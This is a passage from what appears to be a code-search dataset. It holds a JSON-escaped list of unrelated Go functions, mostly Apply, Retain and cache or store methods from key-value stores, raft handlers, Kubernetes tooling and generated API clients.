opApplyMap[o.Op]\\n\\tif !ok {\\n\\t\\treturn v, fmt.Errorf(\\\"unknown operation: %s\\\", o.Op)\\n\\t}\\n\\n\\tresult, err := f(o, v)\\n\\tif err != nil {\\n\\t\\treturn result, fmt.Errorf(\\\"error applying operation %s: %s\\\", o.Op, err)\\n\\t}\\n\\n\\treturn result, nil\\n}\",\n \"func (kv *ShardKV) ApplyOp(op Op, seqNum int) {\\n key := op.Key\\n val := op.Value\\n doHash := op.DoHash\\n id := op.ID\\n clientConfigNum := op.ConfigNum\\n kvConfigNum := kv.configNum\\n shardNum := key2shard(key)\\n\\n if op.Type != \\\"Reconfigure\\\" && (clientConfigNum != kvConfigNum ||\\n kv.configs[kvConfigNum].Shards[shardNum] != kv.gid) {\\n kv.results[id] = ClientReply{Err:ErrorString}\\n return\\n }\\n\\n if op.Type != \\\"Reconfigure\\\" {\\n DPrintf(\\\"Group %v servicing shard %v at config %v\\\", kv.gid, shardNum, kvConfigNum) \\n }\\n clientID, counter := parseID(id)\\n creply, _ := kv.current.dedup[clientID]\\n if creply.Counter >= counter && creply.Counter > 0 {\\n kv.results[id] = ClientReply{Value:creply.Value, Err:creply.Err, Counter:creply.Counter}\\n return\\n }\\n\\n if op.Type == \\\"Put\\\" {\\n //fmt.Printf(\\\"Applying put for key %v with value %v at group %v machine %v\\\\n\\\", key, val, kv.gid, kv.me)\\n prev := kv.storage.Put(key, val, doHash, shardNum, kvConfigNum)\\n kv.results[id] = ClientReply{Value:prev, Err:OK, Counter:counter}\\n kv.current.dedup[clientID] = ClientReply{Value:prev, Counter: counter, Err:OK}\\n } else if op.Type == \\\"Reconfigure\\\" {\\n _, ok := kv.configs[op.Config.Num]\\n if ok || op.Config.Num - kv.configNum != 1 {\\n return\\n }\\n kv.configs[op.Config.Num] = op.Config\\n kv.TakeSnapshot(op.Config.Num)\\n kv.SyncShards(op.Config.Num)\\n } else {\\n value := kv.storage.Get(key, shardNum)\\n kv.results[id] = ClientReply{Value:value, Err:OK, Counter:counter}\\n kv.current.dedup[clientID] = ClientReply{Value:value, Counter: counter, Err:OK}\\n }\\n}\",\n \"func (instance *cache) unsafeCommitEntry(key string, content Cacheable) (ce *Entry, xerr fail.Error) {\\n\\tif _, ok := instance.reserved[key]; !ok {\\n\\t\\treturn nil, fail.NotAvailableError(\\\"the cache entry '%s' is not reserved\\\", key)\\n\\t}\\n\\n\\t// content may bring new key, based on content.GetID(), than the key reserved; we have to check if this new key has not been reserved by someone else...\\n\\tif content.GetID() != key {\\n\\t\\tif _, ok := instance.reserved[content.GetID()]; ok {\\n\\t\\t\\treturn nil, fail.InconsistentError(\\\"the cache entry '%s' corresponding to the ID of the content is reserved; content cannot be committed\\\", content.GetID())\\n\\t\\t}\\n\\t}\\n\\n\\t// Everything seems ok, we can update\\n\\tvar ok bool\\n\\tif ce, ok = instance.cache[key]; ok {\\n\\t\\t// FIXME: this has to be tested with a specific unit test\\n\\t\\terr := content.AddObserver(instance)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, fail.ConvertError(err)\\n\\t\\t}\\n\\t\\t// if there was an error after this point we should Remove the observer\\n\\n\\t\\tce.content = data.NewImmutableKeyValue(content.GetID(), content)\\n\\t\\t// reserved key may have to change accordingly with the ID of content\\n\\t\\tdelete(instance.cache, key)\\n\\t\\tdelete(instance.reserved, key)\\n\\t\\tinstance.cache[content.GetID()] = ce\\n\\t\\tce.unlock()\\n\\n\\t\\treturn ce, nil\\n\\t}\\n\\n\\treturn nil, fail.NotFoundError(\\\"failed to find cache entry identified by '%s'\\\", key)\\n}\",\n \"func (h Hook) apply(m *Meta) {\\n\\tm.Hooks = append(m.Hooks, h)\\n}\",\n \"func (r ApiGetResourcepoolLeaseListRequest) Apply(apply string) ApiGetResourcepoolLeaseListRequest {\\n\\tr.apply = &apply\\n\\treturn r\\n}\",\n \"func (this *ObjectRemove) Apply(context Context, first, second value.Value) (value.Value, error) {\\n\\t// Check for type mismatches\\n\\tif first.Type() == value.MISSING || second.Type() == value.MISSING {\\n\\t\\treturn value.MISSING_VALUE, nil\\n\\t} else if first.Type() != value.OBJECT || second.Type() != value.STRING {\\n\\t\\treturn value.NULL_VALUE, nil\\n\\t}\\n\\n\\tfield := second.Actual().(string)\\n\\n\\trv := first.CopyForUpdate()\\n\\trv.UnsetField(field)\\n\\treturn rv, nil\\n}\",\n \"func (r SpanReference) Apply(o *StartSpanOptions) {\\n\\tif r.ReferencedContext != nil {\\n\\t\\to.References = append(o.References, r)\\n\\t}\\n}\",\n \"func (mc *MapChanges) consumeMapChanges(policyMapState MapState) (adds, deletes MapState) {\\n\\tmc.mutex.Lock()\\n\\tadds = make(MapState, len(mc.changes))\\n\\tdeletes = make(MapState, len(mc.changes))\\n\\n\\tfor i := range mc.changes {\\n\\t\\tif mc.changes[i].Add {\\n\\t\\t\\t// insert but do not allow non-redirect entries to overwrite a redirect entry,\\n\\t\\t\\t// nor allow non-deny entries to overwrite deny entries.\\n\\t\\t\\t// Collect the incremental changes to the overall state in 'mc.adds' and 'mc.deletes'.\\n\\t\\t\\tpolicyMapState.denyPreferredInsertWithChanges(mc.changes[i].Key, mc.changes[i].Value, adds, deletes)\\n\\t\\t} else {\\n\\t\\t\\t// Delete the contribution of this cs to the key and collect incremental changes\\n\\t\\t\\tfor cs := range mc.changes[i].Value.selectors { // get the sole selector\\n\\t\\t\\t\\tpolicyMapState.deleteKeyWithChanges(mc.changes[i].Key, cs, adds, deletes)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\tmc.changes = nil\\n\\tmc.mutex.Unlock()\\n\\treturn adds, deletes\\n}\",\n \"func (r *recursiveCteIter) store(row sql.Row, key uint64) {\\n\\tif r.deduplicate {\\n\\t\\tr.cache.Put(key, struct{}{})\\n\\t}\\n\\tr.temp = append(r.temp, row)\\n\\treturn\\n}\",\n \"func (s HelpAppUpdateArray) Retain(keep func(x HelpAppUpdate) bool) HelpAppUpdateArray {\\n\\tn := 0\\n\\tfor _, x := range s {\\n\\t\\tif keep(x) {\\n\\t\\t\\ts[n] = x\\n\\t\\t\\tn++\\n\\t\\t}\\n\\t}\\n\\ts = s[:n]\\n\\n\\treturn s\\n}\",\n \"func (r ApiGetResourcepoolLeaseResourceListRequest) Apply(apply string) ApiGetResourcepoolLeaseResourceListRequest {\\n\\tr.apply = &apply\\n\\treturn r\\n}\",\n \"func (m *systrayMap) Decref(id refId) {\\n\\tm.lock.RLock()\\n\\tref, ok := m.m[id]\\n\\tm.lock.RUnlock()\\n\\n\\tif !ok {\\n\\t\\treturn\\n\\t}\\n\\n\\trefs := atomic.AddUint32(&ref.refs, ^uint32(0))\\n\\t// fmt.Printf(\\\"storage: Decref %v to %d\\\\n\\\", ref, refs)\\n\\tif refs != 0 {\\n\\t\\treturn\\n\\t}\\n\\n\\tm.lock.Lock()\\n\\tif atomic.LoadUint32(&ref.refs) == 0 {\\n\\t\\t// fmt.Printf(\\\"storage: Deleting %v\\\\n\\\", ref)\\n\\t\\tdelete(m.m, id)\\n\\t}\\n\\tm.lock.Unlock()\\n}\",\n \"func (r ApiGetHyperflexVmRestoreOperationListRequest) Apply(apply string) ApiGetHyperflexVmRestoreOperationListRequest {\\n\\tr.apply = &apply\\n\\treturn r\\n}\",\n \"func (p *ClusterProvider) Apply() error {\\n\\t// This return nil for existing cluster\\n\\treturn nil\\n}\",\n \"func (a *Applier) Apply(ctx context.Context, step *Step) (retErr error) {\\n\\tvar db *kv.DB\\n\\tdb, step.DBID = a.getNextDBRoundRobin()\\n\\n\\tstep.Before = db.Clock().Now()\\n\\tdefer func() {\\n\\t\\tstep.After = db.Clock().Now()\\n\\t\\tif p := recover(); p != nil {\\n\\t\\t\\tretErr = errors.Errorf(`panic applying step %s: %v`, step, p)\\n\\t\\t}\\n\\t}()\\n\\tapplyOp(ctx, db, &step.Op)\\n\\treturn nil\\n}\",\n \"func (wm *WatchMap) Store(key schema.GroupVersionKind) {\\n\\twm.mutex.Lock()\\n\\tdefer wm.mutex.Unlock()\\n\\twm.internal[key] = nil\\n}\",\n \"func (rc *BypassRevisionCache) Put(docID string, docRev DocumentRevision) {\\n\\t// no-op\\n}\",\n \"func (fdb *fdbSlice) insert(k Key, v Value, workerId int) {\\n\\n\\tvar err error\\n\\tvar oldkey Key\\n\\n\\tcommon.Tracef(\\\"ForestDBSlice::insert \\\\n\\\\tSliceId %v IndexInstId %v Set Key - %s \\\"+\\n\\t\\t\\\"Value - %s\\\", fdb.id, fdb.idxInstId, k, v)\\n\\n\\t//check if the docid exists in the back index\\n\\tif oldkey, err = fdb.getBackIndexEntry(v.Docid(), workerId); err != nil {\\n\\t\\tfdb.checkFatalDbError(err)\\n\\t\\tcommon.Errorf(\\\"ForestDBSlice::insert \\\\n\\\\tSliceId %v IndexInstId %v Error locating \\\"+\\n\\t\\t\\t\\\"backindex entry %v\\\", fdb.id, fdb.idxInstId, err)\\n\\t\\treturn\\n\\t} else if oldkey.EncodedBytes() != nil {\\n\\t\\t//TODO: Handle the case if old-value from backindex matches with the\\n\\t\\t//new-value(false mutation). Skip It.\\n\\n\\t\\t//there is already an entry in main index for this docid\\n\\t\\t//delete from main index\\n\\t\\tif err = fdb.main[workerId].DeleteKV(oldkey.EncodedBytes()); err != nil {\\n\\t\\t\\tfdb.checkFatalDbError(err)\\n\\t\\t\\tcommon.Errorf(\\\"ForestDBSlice::insert \\\\n\\\\tSliceId %v IndexInstId %v Error deleting \\\"+\\n\\t\\t\\t\\t\\\"entry from main index %v\\\", fdb.id, fdb.idxInstId, err)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t}\\n\\n\\t//If secondary-key is nil, no further processing is required. If this was a KV insert,\\n\\t//nothing needs to be done. If this was a KV update, only delete old back/main index entry\\n\\tif v.KeyBytes() == nil {\\n\\t\\tcommon.Errorf(\\\"ForestDBSlice::insert \\\\n\\\\tSliceId %v IndexInstId %v Received NIL secondary key. \\\"+\\n\\t\\t\\t\\\"Skipped Key %s. Value %s.\\\", fdb.id, fdb.idxInstId, k, v)\\n\\t\\treturn\\n\\t}\\n\\n\\t//set the back index entry \\n\\tif err = fdb.back[workerId].SetKV([]byte(v.Docid()), k.EncodedBytes()); err != nil {\\n\\t\\tfdb.checkFatalDbError(err)\\n\\t\\tcommon.Errorf(\\\"ForestDBSlice::insert \\\\n\\\\tSliceId %v IndexInstId %v Error in Back Index Set. \\\"+\\n\\t\\t\\t\\\"Skipped Key %s. Value %s. Error %v\\\", fdb.id, fdb.idxInstId, v, k, err)\\n\\t\\treturn\\n\\t}\\n\\n\\t//set in main index\\n\\tif err = fdb.main[workerId].SetKV(k.EncodedBytes(), v.EncodedBytes()); err != nil {\\n\\t\\tfdb.checkFatalDbError(err)\\n\\t\\tcommon.Errorf(\\\"ForestDBSlice::insert \\\\n\\\\tSliceId %v IndexInstId %v Error in Main Index Set. \\\"+\\n\\t\\t\\t\\\"Skipped Key %s. Value %s. Error %v\\\", fdb.id, fdb.idxInstId, k, v, err)\\n\\t\\treturn\\n\\t}\\n\\n}\",\n \"func (c *summaryCache) refresh(current map[string]*eventsStatementsSummaryByDigest) {\\n\\tc.rw.Lock()\\n\\tdefer c.rw.Unlock()\\n\\n\\tnow := time.Now()\\n\\n\\tfor k, t := range c.added {\\n\\t\\tif now.Sub(t) > c.retain {\\n\\t\\t\\tdelete(c.items, k)\\n\\t\\t\\tdelete(c.added, k)\\n\\t\\t}\\n\\t}\\n\\n\\tfor k, v := range current {\\n\\t\\tc.items[k] = v\\n\\t\\tc.added[k] = now\\n\\t}\\n}\",\n \"func (s *Store) Apply(log *raft.Log) interface{} {\\n\\tvar c command\\n\\tif err := json.Unmarshal(log.Data, &c); err != nil {\\n\\t\\tpanic(fmt.Sprintf(\\\"Failed to unmarshal command: %s\\\", err.Error()))\\n\\t}\\n\\n\\tswitch c.Op {\\n\\tcase \\\"SET\\\":\\n\\t\\treturn s.applySet(c.Key, c.Val)\\n\\tcase \\\"DELETE\\\":\\n\\t\\treturn s.applyDelete(c.Key)\\n\\tdefault:\\n\\t\\treturn fmt.Sprintf(\\\"Unsupported operation: %s\\\", c.Op)\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func(s *SetImp) Apply(t Target, a Action) os.Error {\\n\\tif err := t.ApplyPreq(a); err != nil { return err }\\n\\tif err := t.Apply(a); err != nil { return err }\\n\\treturn nil\\n}\",\n \"func (r ApiGetHyperflexBackupClusterListRequest) Apply(apply string) ApiGetHyperflexBackupClusterListRequest {\\n\\tr.apply = &apply\\n\\treturn r\\n}\",\n \"func (db *StakeDatabase) applyDiff(poolDiff PoolDiff, inVals []int64) {\\n\\tdb.liveTicketMtx.Lock()\\n\\tfor i, hash := range poolDiff.In {\\n\\t\\t_, ok := db.liveTicketCache[hash]\\n\\t\\tif ok {\\n\\t\\t\\tlog.Warnf(\\\"Just tried to add a ticket (%v) to the pool, but it was already there!\\\", hash)\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\n\\t\\tvar val int64\\n\\t\\tif inVals == nil {\\n\\t\\t\\ttx, err := db.NodeClient.GetRawTransaction(context.TODO(), &hash)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tlog.Errorf(\\\"Unable to get transaction %v: %v\\\\n\\\", hash, err)\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\t}\\n\\t\\t\\tval = tx.MsgTx().TxOut[0].Value\\n\\t\\t} else {\\n\\t\\t\\tval = inVals[i]\\n\\t\\t}\\n\\n\\t\\tdb.liveTicketCache[hash] = val\\n\\t\\tdb.poolValue += val\\n\\t}\\n\\n\\tfor _, h := range poolDiff.Out {\\n\\t\\tvalOut, ok := db.liveTicketCache[h]\\n\\t\\tif !ok {\\n\\t\\t\\tlog.Debugf(\\\"Didn't find %v in live ticket cache, cannot remove it.\\\", h)\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\t\\tdb.poolValue -= valOut\\n\\t\\tdelete(db.liveTicketCache, h)\\n\\t}\\n\\tdb.liveTicketMtx.Unlock()\\n}\",\n \"func (a KubectlLayerApplier) Apply(ctx context.Context, layer layers.Layer) (err error) {\\n\\tlogging.TraceCall(a.getLog(layer))\\n\\tdefer logging.TraceExit(a.getLog(layer))\\n\\ta.logDebug(\\\"applying\\\", layer)\\n\\n\\tsourceHrs, err := a.getSourceHelmReleases(layer)\\n\\tif err != nil {\\n\\t\\treturn errors.WithMessagef(err, \\\"%s - failed to get source helm releases\\\", logging.CallerStr(logging.Me))\\n\\t}\\n\\n\\terr = a.applyHelmReleaseObjects(ctx, layer, sourceHrs)\\n\\tif err != nil {\\n\\t\\treturn errors.WithMessagef(err, \\\"%s - failed to apply helmrelease objects\\\", logging.CallerStr(logging.Me))\\n\\t}\\n\\n\\thrs, err := a.getSourceHelmRepos(layer)\\n\\tif err != nil {\\n\\t\\treturn errors.WithMessagef(err, \\\"%s - failed to get source helm repos\\\", logging.CallerStr(logging.Me))\\n\\t}\\n\\n\\terr = a.applyHelmRepoObjects(ctx, layer, hrs)\\n\\tif err != nil {\\n\\t\\treturn errors.WithMessagef(err, \\\"%s - failed to apply helmrepo objects\\\", logging.CallerStr(logging.Me))\\n\\t}\\n\\treturn nil\\n}\",\n \"func (r *HistoryRunner) Apply(ctx context.Context) (err error) {\\n\\t// save history on exit\\n\\tbeforeLen := r.hc.HistoryLength()\\n\\tdefer func() {\\n\\t\\t// if the number of records in history doesn't change,\\n\\t\\t// we don't want to update a timestamp of history file.\\n\\t\\tafterLen := r.hc.HistoryLength()\\n\\t\\tlog.Printf(\\\"[DEBUG] [runner] length of history records: beforeLen = %d, afterLen = %d\\\\n\\\", beforeLen, afterLen)\\n\\t\\tif beforeLen == afterLen {\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t\\t// be sure not to overwrite an original error generated by outside of defer\\n\\t\\tlog.Print(\\\"[INFO] [runner] save history\\\\n\\\")\\n\\t\\tserr := r.hc.Save(ctx)\\n\\t\\tif serr == nil {\\n\\t\\t\\tlog.Print(\\\"[INFO] [runner] history saved\\\\n\\\")\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t\\t// return a named error from defer\\n\\t\\tlog.Printf(\\\"[ERROR] [runner] failed to save history. The history may be inconsistent\\\\n\\\")\\n\\t\\tif err == nil {\\n\\t\\t\\terr = fmt.Errorf(\\\"apply succeed, but failed to save history: %v\\\", serr)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\terr = fmt.Errorf(\\\"failed to save history: %v, failed to apply: %v\\\", serr, err)\\n\\t}()\\n\\n\\tif len(r.filename) != 0 {\\n\\t\\t// file mode\\n\\t\\terr = r.applyFile(ctx, r.filename)\\n\\t\\treturn err\\n\\t}\\n\\n\\t// directory mode\\n\\terr = r.applyDir(ctx)\\n\\treturn err\\n}\",\n \"func (s *Scope) Apply(f func()) {\\n\\ts.Call(\\\"$apply\\\", f)\\n}\",\n \"func (cc *Cache) Set(attrs attribute.Bag, value Value) {\\n\\tnow := cc.getTime()\\n\\tif value.Expiration.Before(now) {\\n\\t\\t// value is already expired, don't add it\\n\\t\\tcc.recordStats()\\n\\t\\treturn\\n\\t}\\n\\n\\tcc.keyShapesLock.RLock()\\n\\tshapes := cc.keyShapes\\n\\tcc.keyShapesLock.RUnlock()\\n\\n\\t// find a matching key shape\\n\\tfor _, shape := range shapes {\\n\\t\\tif shape.isCompatible(attrs) {\\n\\t\\t\\tcc.cache.SetWithExpiration(shape.makeKey(attrs), value, value.Expiration.Sub(now))\\n\\t\\t\\tcc.recordStats()\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t}\\n\\n\\tshape := newKeyShape(value.ReferencedAttributes, cc.globalWords)\\n\\n\\t// Note that there's TOCTOU window here, but it's OK. It doesn't hurt that multiple\\n\\t// equivalent keyShape entries may appear in the slice.\\n\\tcc.keyShapesLock.Lock()\\n\\tcc.keyShapes = append(cc.keyShapes, shape)\\n\\tcc.keyShapesLock.Unlock()\\n\\n\\tcc.cache.SetWithExpiration(shape.makeKey(attrs), value, value.Expiration.Sub(now))\\n\\tcc.recordStats()\\n}\",\n \"func (pool *WorkerPool) Apply(fn taskFunc) {\\n\\tworker := pool.ApplyWorker()\\n\\tgo func() {\\n\\t\\tdefer pool.RecycleWorker(worker)\\n\\t\\tfn()\\n\\t}()\\n}\",\n \"func (k *kubectlContext) Apply(args ...string) error {\\n\\tout, err := k.do(append([]string{\\\"apply\\\"}, args...)...)\\n\\tk.t.Log(string(out))\\n\\treturn err\\n}\",\n \"func (t *typeReference) Apply(key string, value interface{}, ctx *ParsingContext) (bool, error) {\\n\\tref, ok := ctx.Current.(*VocabularyReference)\\n\\tif !ok {\\n\\t\\t// May be during resolve reference phase -- nothing to do.\\n\\t\\treturn true, nil\\n\\t}\\n\\tref.Name = t.t.GetName()\\n\\tref.URI = t.t.URI\\n\\tref.Vocab = t.vocabName\\n\\treturn true, nil\\n}\",\n \"func (r ApiGetHyperflexConfigResultEntryListRequest) Apply(apply string) ApiGetHyperflexConfigResultEntryListRequest {\\n\\tr.apply = &apply\\n\\treturn r\\n}\",\n \"func (graph *graphRW) Release() {\\n\\tif graph.record && graph.parent.recordOldRevs {\\n\\t\\tgraph.parent.rwLock.Lock()\\n\\t\\tdefer graph.parent.rwLock.Unlock()\\n\\n\\t\\tdestGraph := graph.parent.graph\\n\\t\\tfor key, dataUpdated := range graph.newRevs {\\n\\t\\t\\tnode, exists := destGraph.nodes[key]\\n\\t\\t\\tif _, hasTimeline := destGraph.timeline[key]; !hasTimeline {\\n\\t\\t\\t\\tif !exists {\\n\\t\\t\\t\\t\\t// deleted, but never recorded => skip\\n\\t\\t\\t\\t\\tcontinue\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tdestGraph.timeline[key] = []*RecordedNode{}\\n\\t\\t\\t}\\n\\t\\t\\trecords := destGraph.timeline[key]\\n\\t\\t\\tif len(records) > 0 {\\n\\t\\t\\t\\tlastRecord := records[len(records)-1]\\n\\t\\t\\t\\tif lastRecord.Until.IsZero() {\\n\\t\\t\\t\\t\\tlastRecord.Until = time.Now()\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t\\tif exists {\\n\\t\\t\\t\\tdestGraph.timeline[key] = append(records,\\n\\t\\t\\t\\t\\tdestGraph.recordNode(node, !dataUpdated))\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t\\t// remove past revisions from the log which are too old to keep\\n\\t\\tnow := time.Now()\\n\\t\\tsinceLastTrimming := now.Sub(graph.parent.lastRevTrimming)\\n\\t\\tif sinceLastTrimming >= oldRevsTrimmingPeriod {\\n\\t\\t\\tfor key, records := range destGraph.timeline {\\n\\t\\t\\t\\tvar i, j int // i = first after init period, j = first after init period to keep\\n\\t\\t\\t\\tfor i = 0; i < len(records); i++ {\\n\\t\\t\\t\\t\\tsinceStart := records[i].Since.Sub(graph.parent.startTime)\\n\\t\\t\\t\\t\\tif sinceStart > graph.parent.permanentInitPeriod {\\n\\t\\t\\t\\t\\t\\tbreak\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tfor j = i; j < len(records); j++ {\\n\\t\\t\\t\\t\\tif records[j].Until.IsZero() {\\n\\t\\t\\t\\t\\t\\tbreak\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\telapsed := now.Sub(records[j].Until)\\n\\t\\t\\t\\t\\tif elapsed <= graph.parent.recordAgeLimit {\\n\\t\\t\\t\\t\\t\\tbreak\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tif j > i {\\n\\t\\t\\t\\t\\tcopy(records[i:], records[j:])\\n\\t\\t\\t\\t\\tnewLen := len(records) - (j - i)\\n\\t\\t\\t\\t\\tfor k := newLen; k < len(records); k++ {\\n\\t\\t\\t\\t\\t\\trecords[k] = nil\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\tdestGraph.timeline[key] = records[:newLen]\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tif len(destGraph.timeline[key]) == 0 {\\n\\t\\t\\t\\t\\tdelete(destGraph.timeline, key)\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t\\tgraph.parent.lastRevTrimming = now\\n\\t\\t}\\n\\t}\\n}\",\n \"func (pred *NotEqPredicate) Apply(c cm.Collection) error {\\n\\tcol := c.(*Table)\\n\\tcol.filterStatements = append(col.filterStatements,\\n\\t\\tfmt.Sprintf(\\\"%s != ?\\\", pred.Column.Name()))\\n\\n\\tcol.filterValues = append(col.filterValues, pred.Value)\\n\\n\\treturn nil\\n}\",\n \"func (client *Client) Retain(ctx context.Context, req *pb.RetainRequest) (err error) {\\n\\tdefer mon.Task()(&ctx)(&err)\\n\\t_, err = client.client.Retain(ctx, req)\\n\\treturn Error.Wrap(err)\\n}\",\n \"func (op *OpAdd) Apply(e *entry.Entry) error {\\n\\tswitch {\\n\\tcase op.Value != nil:\\n\\t\\terr := e.Set(op.Field, op.Value)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\tcase op.program != nil:\\n\\t\\tenv := helper.GetExprEnv(e)\\n\\t\\tdefer helper.PutExprEnv(env)\\n\\n\\t\\tresult, err := vm.Run(op.program, env)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"evaluate value_expr: %s\\\", err)\\n\\t\\t}\\n\\t\\terr = e.Set(op.Field, result)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\tdefault:\\n\\t\\t// Should never reach here if we went through the unmarshalling code\\n\\t\\treturn fmt.Errorf(\\\"neither value or value_expr are are set\\\")\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (p *ArgsEnvsCacheEntry) Retain() {\\n\\tp.refCount++\\n}\",\n \"func (s MessagesFavedStickersArray) Retain(keep func(x MessagesFavedStickers) bool) MessagesFavedStickersArray {\\n\\tn := 0\\n\\tfor _, x := range s {\\n\\t\\tif keep(x) {\\n\\t\\t\\ts[n] = x\\n\\t\\t\\tn++\\n\\t\\t}\\n\\t}\\n\\ts = s[:n]\\n\\n\\treturn s\\n}\",\n \"func (v *Float64Value) Apply(apply func(value float64)) {\\n\\tif v.fs.Changed(v.name) {\\n\\t\\tapply(v.value)\\n\\t}\\n}\",\n \"func (entry *TableEntry) ApplyCommit() (err error) {\\n\\terr = entry.BaseEntryImpl.ApplyCommit()\\n\\tif err != nil {\\n\\t\\treturn\\n\\t}\\n\\t// It is not wanted that a block spans across different schemas\\n\\tif entry.isColumnChangedInSchema() {\\n\\t\\tentry.FreezeAppend()\\n\\t}\\n\\t// update the shortcut to the lastest schema\\n\\tentry.TableNode.schema.Store(entry.GetLatestNodeLocked().BaseNode.Schema)\\n\\treturn\\n}\",\n \"func (t *Tree) Keep(name string) error {\\n\\tlogrus.Infof(\\\"Keeping %s\\\", name)\\n\\tleaf, ok := t.packageMap[name]\\n\\tif !ok {\\n\\t\\treturn fmt.Errorf(\\\"package %s not found\\\", name)\\n\\t}\\n\\tleaf.keep = true\\n\\tleaf.userKeep = true\\n\\tt.packageMap[name] = leaf\\n\\treturn nil\\n}\",\n \"func (t *TaskStore) applySingleDiff(diff updateDiff, readonly bool) {\\n\\t// If readonly, then we mutate only the temporary maps.\\n\\t// Regardless of that status, we always update the heaps.\\n\\tot := t.getTask(diff.OldID)\\n\\tnt := diff.NewTask\\n\\n\\tif ot != nil {\\n\\t\\tdelete(t.tmpTasks, ot.ID)\\n\\t\\tt.heapPop(ot.Group, ot.ID)\\n\\t\\tif readonly {\\n\\t\\t\\tt.delTasks[ot.ID] = true\\n\\t\\t} else {\\n\\t\\t\\tdelete(t.tasks, ot.ID)\\n\\t\\t}\\n\\t}\\n\\tif nt != nil {\\n\\t\\tif readonly {\\n\\t\\t\\tt.tmpTasks[nt.ID] = nt\\n\\t\\t} else {\\n\\t\\t\\tt.tasks[nt.ID] = nt\\n\\t\\t}\\n\\t\\tt.heapPush(nt)\\n\\t}\\n}\",\n \"func Retain[T any](slice []T, fn func(v T) bool) []T {\\n\\tvar j int\\n\\tfor _, v := range slice {\\n\\t\\tif fn(v) {\\n\\t\\t\\tslice[j] = v\\n\\t\\t\\tj++\\n\\t\\t}\\n\\t}\\n\\treturn slice[:j]\\n}\",\n \"func (c *doubleCacheBuffer[T]) evict(newTs uint64) {\\n\\tc.tail = c.head\\n\\tc.head = newDoubleCacheItem[T](newTs, c.maxSize/2)\\n\\tc.ts = c.tail.headTs\\n}\",\n \"func (c *WriteCommand) Apply(server raft.Server) (interface{}, error) {\\n\\tctx := server.Context().(ServerContext)\\n\\tdb := ctx.Server.db\\n\\tdb.Put(c.Key, c.Value)\\n\\treturn nil, nil\\n}\",\n \"func (s EncryptedChatDiscardedArray) Retain(keep func(x EncryptedChatDiscarded) bool) EncryptedChatDiscardedArray {\\n\\tn := 0\\n\\tfor _, x := range s {\\n\\t\\tif keep(x) {\\n\\t\\t\\ts[n] = x\\n\\t\\t\\tn++\\n\\t\\t}\\n\\t}\\n\\ts = s[:n]\\n\\n\\treturn s\\n}\",\n \"func (dm *DCOSMetadata) Apply(in ...telegraf.Metric) []telegraf.Metric {\\n\\t// stale tracks whether our container cache is stale\\n\\tstale := false\\n\\n\\t// track unrecognised container ids\\n\\tnonCachedIDs := map[string]bool{}\\n\\n\\tfor _, metric := range in {\\n\\t\\t// Ignore metrics without container_id tag\\n\\t\\tif cid, ok := metric.Tags()[\\\"container_id\\\"]; ok {\\n\\t\\t\\tif c, ok := dm.containers[cid]; ok {\\n\\t\\t\\t\\t// Data for this container was cached\\n\\t\\t\\t\\tfor k, v := range c.taskLabels {\\n\\t\\t\\t\\t\\tmetric.AddTag(k, v)\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tmetric.AddTag(\\\"service_name\\\", c.frameworkName)\\n\\t\\t\\t\\tif c.executorName != \\\"\\\" {\\n\\t\\t\\t\\t\\tmetric.AddTag(\\\"executor_name\\\", c.executorName)\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tmetric.AddTag(\\\"task_name\\\", c.taskName)\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tnonCachedIDs[cid] = true\\n\\t\\t\\t\\tstale = true\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\tif stale {\\n\\t\\tcids := []string{}\\n\\t\\tfor cid := range nonCachedIDs {\\n\\t\\t\\tcids = append(cids, cid)\\n\\t\\t}\\n\\t\\tgo dm.refresh(cids...)\\n\\t}\\n\\n\\treturn in\\n}\",\n \"func Drain() map[int]*update.UpdateEntry {\\n\\told := currentQueue\\n\\tcurrentQueue = make(map[int]*update.UpdateEntry)\\n\\tfor k, v := range old {\\n\\t\\told[k]=v.Duplicate()\\n\\t\\told[k].Self=profile.NewBasicProfile(localprofile.GetProfile())\\n\\t}\\n\\treturn old\\n}\",\n \"func (r ApiGetHyperflexVmBackupInfoListRequest) Apply(apply string) ApiGetHyperflexVmBackupInfoListRequest {\\n\\tr.apply = &apply\\n\\treturn r\\n}\",\n \"func (s HelpAppUpdateClassArray) Retain(keep func(x HelpAppUpdateClass) bool) HelpAppUpdateClassArray {\\n\\tn := 0\\n\\tfor _, x := range s {\\n\\t\\tif keep(x) {\\n\\t\\t\\ts[n] = x\\n\\t\\t\\tn++\\n\\t\\t}\\n\\t}\\n\\ts = s[:n]\\n\\n\\treturn s\\n}\",\n \"func (f UnFunc) Apply(ctx context.Context, data interface{}) (interface{}, error) {\\n\\treturn f(ctx, data)\\n}\",\n \"func (r ApiGetHyperflexSoftwareDistributionEntryListRequest) Apply(apply string) ApiGetHyperflexSoftwareDistributionEntryListRequest 